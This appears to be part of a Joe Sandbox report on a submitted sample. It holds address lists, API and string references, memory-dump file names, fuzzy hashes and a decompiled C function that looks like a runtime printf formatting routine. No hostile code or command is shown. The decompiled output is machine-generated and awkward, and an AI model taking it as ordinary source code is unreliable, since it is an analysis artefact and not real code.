0x00000000
0x004350d6
0x00000000
0x00435282
0x00435282
0x00435282
0x00435286
0x00000000
0x00000000
0x00000000
0x00435286
0x00000000
0x00000000
0x00434841
0x00434844
0x00434847
0x00000000
0x00000000
0x0043484c
0x0043484f
0x00434854
0x00000000
0x00000000
0x00434836
0x00434836
0x00434839
0x0043483c
0x00000000
0x00000000
0x0043482b
0x0043482e
0x00434831
0x00000000
0x00000000
0x00434859
0x00434859
0x0043485c
0x0043485c
0x0043485f
0x00000000
0x00000000
0x00434862
0x00000000
0x00000000
0x004345fe
0x00434600
0x0043460e
0x00434602
0x00434602
0x00434602
0x00434618
0x0043461e
0x0043462b
0x0043462d
0x00434632
0x00434634
0x00434639
0x0043463e
0x00434640
0x00434645
0x0043464b
0x0043464d
0x0043464d
0x0043464b
0x0043464e
0x00434655
0x00000000
0x00434657
0x0043465c
0x00434678
0x00434680
0x0043468d
0x00434692
0x00435551
0x0043555e
0x0043555e
0x00434655
0x004345f8
0x0043548d
0x0043548d
0x00435494
0x004354ab
0x004354ab
0x004354b5
0x004354b5
0x004354bb
0x004354c1
0x004354c8
0x004354ca
0x004354cf
0x004354d1
0x004354d6
0x004354db
0x004354dd
0x004354e2
0x004354e5
0x004354e8
0x004354ea
0x004354ea
0x004354e8
0x004354eb
0x004354f2
0x0043553d
0x00435546
0x0043554b
0x004354f4
0x004354f9
0x00435515
0x0043551d
0x0043552a
0x0043552f
0x0043552f
0x00000000
0x004354f2
0x00435496
0x00435496
0x0043549d
0x00000000
0x00000000
0x0043549f
0x0043549f
0x00000000
0x0043549f
0x00435282
0x00435259
0x00435259
0x0043525d
0x0043526a
0x0043526d
0x00435270
0x00435273
0x00435276
0x00435279
0x0043527c
0x0043527c
0x0043527f
0x00000000
0x0043527f
0x0043525f
0x0043525f
0x00435262
0x00435265
0x00435268
0x00000000
0x00000000
0x00000000
0x00435268
0x004351c1
0x004351c1
0x004351c4
0x004351c7
0x004351ce
0x004351d5
0x004351dd
0x004351e3
0x004351e6
0x004351e9
0x004351f0
0x004351fc
0x00435202
0x00435208
0x0043520f
0x00435211
0x00435217
0x00435217
0x0043521d
0x0043521d
0x00435223
0x00435226
0x0043522c
0x00435231
0x00435234
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351af
0x004351b1
0x00000000
0x00000000
0x00000000
0x004351b1
0x004351a3
0x004350e3
0x004350e3
0x004350ea
0x00000000
0x00000000
0x00000000
0x00435118
0x00435118
0x0043511e
0x00435124
0x0043512a
0x00000000
0x0043512a
0x00434ffa
0x00434fb1
0x00434f9b

APIs

_get_int64_arg.LIBCMTD ref: 00435008
__aullrem.LIBCMT ref: 004351D5
__aulldiv.LIBCMT ref: 004351F7

Strings

0, xrefs: 00434FC3
9, xrefs: 00435208

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction ID: aa54ee58b02828652446b75c5c0e0b705824504e661d60ec67ad972858d19da9
Opcode Fuzzy Hash: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction Fuzzy Hash: EC41D171D15629DFEF24CF48C899BAEB7B5BB48304F24919AD409A7240C738AE81CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0043C249, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C249(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043C970(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043C9B0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043C970(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043C9B0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041ACE0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041ACE0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B410(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043C910( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043C970(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C3D0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C804))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043C910( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43c83c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C824))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43c864; // 0xc0719003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C850))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43c8d0; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C894))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00428360(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
